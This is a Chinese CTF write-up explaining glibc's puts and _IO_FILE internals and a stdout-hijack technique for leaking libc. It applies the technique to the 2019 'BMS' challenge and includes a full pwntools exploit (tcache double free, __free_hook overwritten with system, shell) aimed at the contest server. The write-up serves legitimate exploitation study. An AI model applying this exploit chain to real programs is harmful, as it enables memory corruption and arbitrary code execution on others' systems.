从一题看利用IO_file to leak
ret2nullptr CTF 13482浏览 · 2019-05-07 01:30

从一题看利用IO_file to leak

利用io_file的结构去leak的思路是来自HITCON2018中angboy出的一个baby_tcache,其中要leak出libc地址,采用了覆盖stdout结构体中_IO_write_base,然后利用puts函数的工作机制达到了leak的目的。

源码分析

首先我们先要了解一下puts函数是如何调用的

其是由_IO_puts函数实现,其内部调用_IO_sputn,接着执行_IO_new_file_xsputn,最终会执行_IO_overflow

来看一下关于_IO_puts的相关源码:

int
_IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

_IO_new_file_overflow的相关源码:

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
             f->_IO_write_ptr - f->_IO_write_base); //控制的目标
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */当两个地址相等就不会打印这个段。
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
              f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

又上面的源码可知,当IO_write_ptr_IO_buf_end不想等的时候就会打印者之间的字符,其中就有可能会有我们需要的leak,我们再接着看一下函数_IO_do_write,这个函数实际调用的时候会用到new_do_write函数,其参数与之前一样。

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
    = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
    return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);   //这里最终调用sysewrite来做到写的功能.
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
               && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
               ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

主要看函数的count赋值的那个地方,data=_IO_write_base,size=_IO_write_ptr - _IO_wirte_base就是这之间的距离,然后最后会return的count实现leak。ps:其中为了防止其进入else if 分支需要设置fp->_flags & _IO_IS_APPENDING返回1.
关于其中更多的信息可以查看链接

io_file信息

例题-国赛BMS

题目是来自2019国赛的题,这个题目能够比较简单的去利用所学的这个leak方法,先看看程序的主要逻辑。

静态分析

main

main函数吧,这里是去了符号,我已经重命名好了函数名。总共有3个功能add,delete和exit。这里没有show函数。。就让人很苦恼了。

add

看逻辑是先给你malloc了一个0x20的堆块用来存放book name然后让你自己控制大小去申请,这里申请的堆块大小有限制应该是在0<x<0x60之间。

delete

bug点在这个函数里,是在free之后没有对全局变量进行一个置0操作导致了uaf漏洞的产生。

疑问点:这里会疑问是否是含有tache的一个libc版本?所以建议在比赛的时候试试,如果远程报错了那就是正常的fastbin,那如果没报错就是tache了。这里经过测试发现远程是libc2.27以上的版本。

大致思路分析

  1. 利用uaf改堆块的fd到stdout使得我们可以对_IO_file结构进行一波操作。
  2. 改写完_IO_write_base之后进行leak获取到字符串
  3. 改写_free_hooksystem然后free含有/bin/sh字符的堆块达到getshell的目的。

exp分析

大致的把整个exp的流程分析一下。

劫持stdout

new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")#这里的"\x20"是根据libc进行变换的。改成stdout地址从而劫持这个结构体
new("1234567",0x60,"\x20")

主要的劫持stdout结构体然后进行更改。

更改结构体

new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)

这里更改结构体结构体的代码

struct _IO_FILE {
int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

可见这里我们的目标就是改了第四个参数,有了这个结构应该不难理解exp中为什么是p64(0)+"\x00"了。

getshell

这里就是一个常规思路了,可以看见我的exp里面其实是原来用的onegadget,最后是发现了用不了改用了_free_hook去更改。

one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()

总结

其实题目的难度就在你怎么判断libc和如何去leak上,绕过这两点就没有什么实质性的难度了,也算是get了一个新姿势,文末日常膜ch4r1l3师傅

最后完整exp

from pwn import *

debug=0
context.log_level='debug'

a = ELF("./bms")
e = a.libc
print hex(e.symbols["__free_hook"])
#print hex(e.symbols["_IO_stdfile_2_lock"])
#a = ELF("./bms")
#e = a.libc
if debug:
    r=process('./bms')#,env={'LD_PRELOAD':'./libc6_2.26-0ubuntu2.1_amd64.so'})
    gdb.attach(r)
else:
    r=remote("90b826377a05d5e9508314e76f2f1e4e.kr-lab.com",40001)
def ru(x):
    return r.recvuntil(x)

def se(x):
    r.send(x)

def sl(x):
    r.sendline(x)

def new(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.send(str(content))

def view(index):
    r.recvuntil("> ")
    r.sendline("2")
    r.recvuntil("Info index: ")
    r.sendline(str(index))

def delet(idx):
    r.recvuntil(">")
    r.sendline("2")
    r.recvuntil("index:")
    r.sendline(str(idx))

def edit(idx,content):
    r.recvuntil("> ")
    r.sendline("3")
    r.recvuntil("Info index: ")
    r.sendline(str(idx))
    r.sendline(content)
def new0(name,size,content):
    r.recvuntil(">")
    r.sendline("1")
    r.recvuntil("book name:")
    r.sendline(str(name))
    r.recvuntil("description size:")
    r.sendline(str(size))
    r.recvuntil("description:")
    r.sendline(str(content))

r.recvuntil("username:")
r.sendline("admin")
r.recvuntil("password:")
r.sendline("frame")
new("1234567",0x60,"1234567")
delet(0)
delet(0)
new("1234567",0x60,p64(0x602020))
new("1234567",0x60,"\x20")
new("1234567",0x60,"\x20")
raw_input()
new("1234567",0x60,p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = r.recv(0x20)
leak = leak[0x18:]
leak_Addr = u64(leak[:6].ljust(8,"\x00"))-e.symbols["_IO_file_jumps"]
print hex(leak_Addr)
one = leak_Addr+0x47c9a
new("1234567",0x30,"1234567")
new("/bin/sh",0x40,"/bin/sh")
delet(5)
delet(5)
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x3DC8A8))
new("1234567",0x30,p64(leak_Addr+0x47DC0))
delet(6)
r.interactive()
'''
free_hook = leak_Addr+e.symbols["__free_hook"]
new("1234567",0x30,"1234567")#4
delet(5)
delet(5)
new("1234567",0x30,p64(free_hook))
new("1234567",0x30,p64(one))
new("1234567",0x30,p64(one))
'''
#r.interactive()
1 条评论
某人
表情
可输入 255